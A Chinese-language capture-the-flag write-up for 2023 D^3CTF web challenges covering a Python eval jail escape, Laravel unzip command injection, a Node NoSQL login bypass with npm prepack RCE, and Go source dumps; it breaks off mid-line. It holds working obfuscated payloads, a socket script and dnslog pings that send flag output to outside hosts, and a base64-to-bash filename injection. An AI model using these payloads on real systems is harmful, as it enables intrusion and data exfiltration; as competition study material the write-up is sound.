1 2 3 exp = '__import__("os").system("id")' print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
如果if过滤
1 CMD = [eval][eval(list(dict(b_o_o_l=1))[0][::2])(eval(list(dict(e_x_e_c=1))[0][::2])(eval(list(dict(b_y_t_e_s=1))[0][::2])([eval(list(dict(o_r_d=1))[0][::2])(j)for(i)in(list(eval(list(dict(o_p_e_n=1))[0][::2])(eval(list(dict(s_t_r=1))[0][::2])(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_a_s_e_6_4=1))[0][::2]))[23:-2])))[:-5]for(j)in(i)])))](eval(list(dict(b_6_4_d_e_c_o_d_e=1))[0][::2])(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))
利用点处于函数内部,exec生成的变量无法在函数上下文中使用
1 eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))
数字禁用
0
-> len([])
2
-> len(list(dict(aa=()))[len([])])
1 2 3 4 5 u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫' CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=()))[len([])]))" CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
2023 D^3CTF writeup by 万年三等奖 (qq.com)
Escape Plan app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import base64from flask import Flask, requestapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def challenge_3 (): cmd = request.form.get("cmd" , "" ) if not cmd: return """<pre> import requests, base64 exp = '' requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text </pre> """ try : cmd = base64.b64decode(cmd).decode() except Exception: return "bad base64" black_char = [ "'" , '"' , '.' , ',' , ' ' , '+' , '__' , 'exec' , 'eval' , 'str' , 'import' , 'except' , 'if' , 'for' , 'while' , 'pass' , 'with' , 'assert' , 'break' , 'class' , 'raise' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ] for char in black_char: if char in cmd: return f'failed: `{char} `' msg = "success" try : eval (cmd) except Exception: msg = "error" return msg
a2b_base64解码拼接 过滤了很多…..
特别是.
和引号的过滤限制了很多操作
利用unicode字符替换掉e,然后利用 vars(binascii)
里的a2b_base64
进行base64解码,由于base64编码在参数位置,我们还是用unicode数字来进行替换绕过,绕过之后命令执行无法直接反弹,通过创建TCP套接字带出
1 2 3 4 5 6 7 8 import socket, osflag = os.popen("/readflag" ).read().encode() host = "39.105.125.61" port=667 s =socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(flag) s.close()
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests, base64u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫' payload = b"""__import__('os').popen("python -c 'import socket, os; flag = os.popen(\\"/readflag\\").read().encode();host = \\"39.105.125.61\\";port=667;s =socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;'").read()""" payload = str (base64.b64encode(payload)).strip('b' ).strip("'" ) print (payload)CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}=()))[len([])]))" .format (payload) CMD = CMD.translate({ord (str (i)): u[i] for i in range (10 )}) r = requests.post("http://139.196.153.118:30187/" , data={"cmd" :base64.b64encode(CMD.encode())}).text print (CMD)print ("\n" )print (r)X19pbXBvcnRfXygnb3MnKS5wb3BlbigicHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LCBvczsgZmxhZyA9IG9zLnBvcGVuKFwiL3JlYWRmbGFnXCIpLnJlYWQoKS5lbmNvZGUoKTtob3N0ID0gXCIzOS4xMDUuMTI1LjYxXCI7cG9ydD02Njc7cyA9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKGhvc3QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk7cy5jbG9zZSgpO2E9MTsnIikucmVhZCgp= ᵉval(vars (ᵉval(list (dict (_a_aiamapaoarata_a_=()))[len ([])][::len (list (dict (aa=()))[len ([])])])(list (dict (b_i_n_a_s_c_i_i_=()))[len ([])][::len (list (dict (aa=()))[len ([])])]))[list (dict (a_𝟤_b𝟣_𝟣b_a_s_e_𝟨_𝟦=()))[len ([])][::len (list (dict (aa=()))[len ([])])]](list (dict (X𝟣𝟫pbXBvcnRfXygnb𝟥MnKS𝟧wb𝟥BlbigicHl𝟢aG𝟫uIC𝟣jICdpbXBvcnQgc𝟤𝟫ja𝟤V𝟢LCBvczsgZmxhZyA𝟫IG𝟫zLnBvcGVuKFwiL𝟥JlYWRmbGFnXCIpLnJlYWQoKS𝟧lbmNvZGUoKTtob𝟥N𝟢ID𝟢gXCIzOS𝟦xMDUuMTI𝟣LjYxXCI𝟩cG𝟫ydD𝟢𝟤Njc𝟩cyA𝟫c𝟤𝟫ja𝟤V𝟢LnNvY𝟤tldChzb𝟤NrZXQuQUZfSU𝟧FVCwgc𝟤𝟫ja𝟤V𝟢LlNPQ𝟢tfU𝟣RSRUFNKTtzLmNvbm𝟧lY𝟥QoKGhvc𝟥QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk𝟩cy𝟧jbG𝟫zZSgpO𝟤E𝟫MTsnIikucmVhZCgp=()))[len ([])])) success 进程已结束,退出代码0
repr切片拼接 2023 AntCTF x D^3CTF 亚军 Writeup By S1uM4i - 飞书云文档 (feishu.cn)
过滤数字利用len(black_char)
和len([])
绕过
repr(request)
拿到字符串,再使用数组配合位运算符切片截取
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport base64shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org' s='' for i in shell: s+="chr(" +str (ord (i))+")+" print (s[0 :-1 ])payload = payload = "__import__('os').popen({})" .format (s[0 :-1 ]) payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])" data = {"cmd" : base64.b64encode(payload1.encode('utf-8' )).decode('utf-8' )} url='http://47.102.115.18:30634/?' +payload response=requests.post(url=url,data=data) print (response.text)
分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport base64shell='whoami' s='' for i in shell: s+="chr(" +str (ord (i))+")+" print (s[0 :-1 ])payload = payload = "__import__('os').popen({})" .format (s[0 :-1 ]) payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])" print (payload1)data = {"cmd" : base64.b64encode(payload1.encode('utf-8' )).decode('utf-8' )} url='http://127.0.0.1:5000/?' +payload response=requests.post(url=url,data=data) print (url)print (response.text)
本地测试打过去的repr(request)
为
1 <Request "http://127.0.0.1:5000/?__import__('os').popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))" [POST]>139.196.153.118:31207
1 repr(request)[起始索引:终止索引]
根据payload长度调试起始索引即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport base64shell='ping -c 1 `whoami`.jx0nsn.dnslog.cn' s='' for i in shell: s+="chr(" +str (ord (i))+")+" print (s[0 :-1 ])payload = payload = "__import__('os').popen({})" .format (s[0 :-1 ]) payload1 = "ᵉxec(repr(request)[len(repr(request))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])])):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])" print (payload1)data = {"cmd" : base64.b64encode(payload1.encode('utf-8' )).decode('utf-8' )} url='http://139.196.153.118:31965/?' +payload response=requests.post(url=url,data=data) print (url)print (response.text)
True转化数字 Nu1L Team
d3cloud
admin uses laravel-admin to build a personal cloud disk, and adds a utility function
http://139.196.153.118:32407/admin/auth/login
admin/admin弱密码登录
插件发现 FilesystemAdapter.php
filesystem/FilesystemAdapter.php at 5.5 · illuminate/filesystem · GitHub
对比源码以下部分不太一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function putFileAs ($path , $file , $name , $options = [] ) { $supported_file = array ('gif' ,'jpg' ,'jpeg' ,'png' ,'ico' ,'zip' ,'mp4' ,'mp3' ,'mkv' ,'avi' ,'txt' ); $file_type = strtolower (pathinfo ($name ,PATHINFO_EXTENSION)); if (!in_array ($file_type , $supported_file )) { return false ; } $stream = fopen ($file ->getRealPath (), 'r+' ); $result = $this ->put ( $path = trim ($path .'/' .$name , '/' ), $stream , $options ); if (is_resource ($stream )) { fclose ($stream ); } if ($file ->getClientOriginalExtension () === "zip" ) { $fs = popen ("unzip -oq " . $this ->driver->getAdapter ()->getPathPrefix () . $name ." -d " . $this ->driver->getAdapter ()->getPathPrefix (),"w" ); pclose ($fs ); } return $result ? $path : false ; }
主要是上传zip文件自动解压操作
1 2 3 4 if ($file ->getClientOriginalExtension () === "zip" ) { $fs = popen ("unzip -oq " . $this ->driver->getAdapter ()->getPathPrefix () . $name ." -d " . $this ->driver->getAdapter ()->getPathPrefix (),"w" ); pclose ($fs ); }
尝试unzip处命令注入
1 2 1;echo Y2F0IC9mbDFBZyA+IC92YXIvd3d3L2h0bWwvcHVibGljL2ZsYWcudHh0|base64 - d|bash;.zip
d3node
Enjoy the Node website :D
It will shows Internal Server Error at the beginning, please wait and refresh!
源代码得到hint1
万能密码登录
1 password[$regex]=^.&username=admin
有些功能点需要admin权限
可以盲注admin密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport stringpassword="" proxies = {'http' : 'http://localhost:8080' , 'https' : 'http://localhost:8080' } url = 'http://139.196.153.118:31723/user/LoginIndex' while True : for c in string.printable[:-6 ]: if c not in ['*' , '+' , '.' , '?' , '|' , '#' , '&' , '$' ]: payload = { "username" : "admin" , "password[$regex]" : '^' + password + c } r = requests.post(url=url, data=payload,allow_redirects=False ,proxies=proxies) if r.status_code==302 : print (payload) password += c print (password)
登陆后源码中可以找到htin2
过滤了app.js,所以通过readFileSync特性传入二次编码app.js对象
1 filename[origin]=*&filename[href]=*&filename[protocol]=file:&filename[hostname]=&filename[pathname]=a%2570p.js
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 const express = require ("express" );const bodyParser = require ("body-parser" );const cookieParser = require ("cookie-parser" );const session = require ("express-session" );const stringRandom = require ("string-random" );const path = require ("path" );const indexRouter = require ("./routes/index" );const userRouter = require ("./routes/user" );const dashboardIndexRouter = require ("./routes/dashboardIndex" );const app = express ();const PORT = 8080 ;app.engine ('html' , require ('hbs' ).__express ); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'ejs' ); app.use (bodyParser.urlencoded ({ extended : true })); app.use (bodyParser.json ()); app.use (cookieParser ()); app.use (express.static (path.join (__dirname, 'static' ))); app.use (session ({ secret : stringRandom (32 ), resave : false , saveUninitialized : true , cookie : { maxAge : 1000 * 60 * 60 * 24 * 7 } })); app.use ("/" ,indexRouter); app.use ("/user" ,userRouter); app.use ("/dashboardIndex" ,dashboardIndexRouter); app.listen (8080 ,() => { console .log (`App listening on ${PORT} ` ); });
1 http://139.196.153.118:31878/dashboardIndex/ShowExampleFile?filename[origin]=*&filename[href]=*&filename[protocol]=file:&filename[hostname]=&filename[pathname]=./routes/dashboardIndex.js
主要看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 router.all ("/SetDependencies" ,(req,res ) => { if (!req.session .is_login ) { return res.redirect ("/user/LoginIndex" ); } if (!req.session .is_admin ){ return res.status (403 ).send ("You are not admin" ); } if (req.method === "GET" ) { return res.status (200 ).send ("You can post the dependencies here" ); } if (req.method === "POST" ){ var data = req.body ; if (typeof data !== "object" && data === {}){ return res.status (200 ).send ("plz set the dependencies" ); } if (!checkFileData (JSON .stringify (data))){ return res.status (200 ).send ("Invalid dependencies" ); } var exampleJson = { "name" : "app-example" , "version" : "1.0.0" , "description" : "Example app for the Node.js Getting Started guide." , "author" : "anonymous" , "scripts" :{ "prepack" : "echo 'packing dependencies'" }, "license" : "MIT" , "dependencies" : { } }; exampleJson = Object .assign (exampleJson,{},data); var filePath = path.join (__dirname,"../public/package.json" ); var fileData = JSON .stringify (exampleJson); fs.writeFile (filePath,fileData,(err ) => { if (err){ return res.status (500 ).send ("Set dependencies error" ); }else { return res.status (200 ).send ("Set dependencies success" ); } }) } })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 router.get ("/PackDependencies" ,(req,res ) => { if (!req.session .is_login ){ return res.redirect ("/user/LoginIndex" ); } if (!req.session .is_admin ){ return res.render ("dashboardIndex" ,{message : "You are not admin" ,session_user :"Hello," +req.session .user }); } console .log ("Packing dependencies..." ); var filePath = path.join (__dirname,"../public" ); cp.exec ("cd " + filePath + "&& npm pack && mv ./*.tgz ./packs" ,(err,stdout,stderr ) => { if (err){ return res.render ("dashboardIndex" ,{message : "Pack dependencies error" ,session_user :"Hello," +req.session .user }); }else { return res.render ("dashboardIndex" ,{message : "Pack dependencies success" ,session_user :"Hello," +req.session .user }); } }) })
设置恶意prepack
可以在npm pack
打包前执行
访问页面执行npm pack
1 http://139.196.153.118:31878/dashboardIndex/PackDependencies
成功
d3go 根据目录穿越获取源码 main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package mainimport ( "crypto/rand" "d3go/config" "d3go/controller" "d3go/db" "d3go/middleware" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" log "github.com/sirupsen/logrus" "net/http" "strings" ) func prog (state overseer.State) { r := gin.Default() InitRouter(r) server := http.Server{ Addr: ":8080" , Handler: r, } go func () { if err := server.Serve(state.Listener); err != nil && err != http.ErrServerClosed { log.Fatal(err) } }() <-state.GracefulShutdown if err := server.Shutdown(nil ); err != nil { log.Fatal(err) } } func main () { config.Init() db.Init() if config.Conf.AutoUpdate { log.Printf("Auto update enabled" ) err := overseer.RunErr(overseer.Config{ Program: prog, Address: ":8080" , Fetcher: &config.Fetch, }) if err != nil { log.Fatalln(err) } } else { r := gin.Default() InitRouter(r) if err := r.Run(":8080" ); err != nil { log.Fatal(err) } } } func InitRouter (r *gin.Engine) { var rad [32 ]byte rand.Read(rad[:]) store := cookie.NewStore(rad[:]) r.Use(sessions.Sessions("mysession" , store)) r.POST("/login" , controller.Login) r.POST("/register" , controller.Register) r.GET("/*filepath" , ServeFile) r.HEAD("/*filepath" , ServeFile) admin := r.Group("/admin" ) admin.Use(middleware.Auth()) admin.POST("/upload" , controller.Upload) } func ServeFile (c *gin.Context) { p := c.Param("filepath" ) if strings.HasPrefix(p, "/unzipped" ) { if len (p) == 9 { p = "/" } else { p = p[9 :] } c.FileFromFS(p, http.Dir("./unzipped" )) return } p = "/static/" + c.Param("filepath" ) c.FileFromFS(p, http.FS(Static)) return }
config.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package configimport ( "github.com/fsnotify/fsnotify" "github.com/jpillora/overseer/fetcher" log "github.com/sirupsen/logrus" "github.com/spf13/viper" "time" ) var Conf configvar Fetch fetcher.HTTPtype config struct { NoAdminLogin bool DBUser string DBPasswd string DBHost string DBPort string AutoUpdate bool UpdateUrl string UpdateTime time.Duration } func Init () { viper.SetConfigName("config" ) viper.SetConfigType("yaml" ) viper.AddConfigPath("." ) if err := viper.ReadInConfig(); err != nil { log.Fatalln(err) } UpdateConfig() viper.OnConfigChange(func (in fsnotify.Event) { UpdateConfig() }) viper.WatchConfig() } func UpdateConfig () { Conf.DBUser = viper.GetString("database.user" ) Conf.DBPasswd = viper.GetString("database.password" ) Conf.DBHost = viper.GetString("database.host" ) Conf.DBPort = viper.GetString("database.port" ) Conf.NoAdminLogin = viper.GetBool("server.noAdminLogin" ) Conf.AutoUpdate = viper.GetBool("update.enabled" ) Fetch = fetcher.HTTP{ URL: viper.GetString("update.url" ), Interval: viper.GetDuration("update.interval" ) * time.Second, } Fetch.Init() log.Println("config updated" ) }
controller.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 package controllerimport ( "d3go/model" "d3go/service/auth" "d3go/service/upload" "github.com/gin-contrib/sessions" "github.com/gin-gonic/gin" "github.com/google/uuid" "path" ) type Resp struct { StatusCode int `json:"status_code"` StatusMsg string `json:"status_msg,omitempty"` Data any `json:"data"` } var ErrFormatError = "format error" var ErrInternalServer = "internal server error" func Login (c *gin.Context) { u := &model.User{} err := c.ShouldBindJSON(u) if err != nil { c.JSON(200 , Resp{ StatusCode: -1 , StatusMsg: ErrFormatError, }) return } permission, err := auth.Login(u) if err != nil { c.JSON(200 , Resp{ StatusCode: -1 , StatusMsg: ErrInternalServer, }) return } session := sessions.Default(c) switch permission { case auth.UnAuthed: c.JSON(200 , Resp{ StatusCode: -1 , StatusMsg: "login fail" , }) case auth.User: session.Set("admin" , false ) session.Save() c.JSON(200 , Resp{ StatusCode: 0 , StatusMsg: "login success" , }) case auth.Admin: session.Set("admin" , true ) session.Save() c.JSON(200 , Resp{ StatusCode: 0 , StatusMsg: "login as admin success" , }) } } func Register (c *gin.Context) { var u model.User err := c.ShouldBindJSON(&u) if err != nil { c.JSON(200 , Resp{ StatusCode: -1 , StatusMsg: ErrFormatError, }) return } err = auth.Register(&u) if err != nil { c.JSON(200 , Resp{ StatusCode: -1 , StatusMsg: ErrInternalServer, }) return } c.JSON(200 , Resp{ StatusCode: 0 , StatusMsg: "register success" , }) } func Upload (c *gin.Context) { f, err := c.FormFile("file" ) if err != nil { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "upload fail" , }) return } if (f.Header.Get("Content-Type" ) != "application/zip" && f.Header.Get("Content-Type" ) != "application/x-zip-compressed" ) || 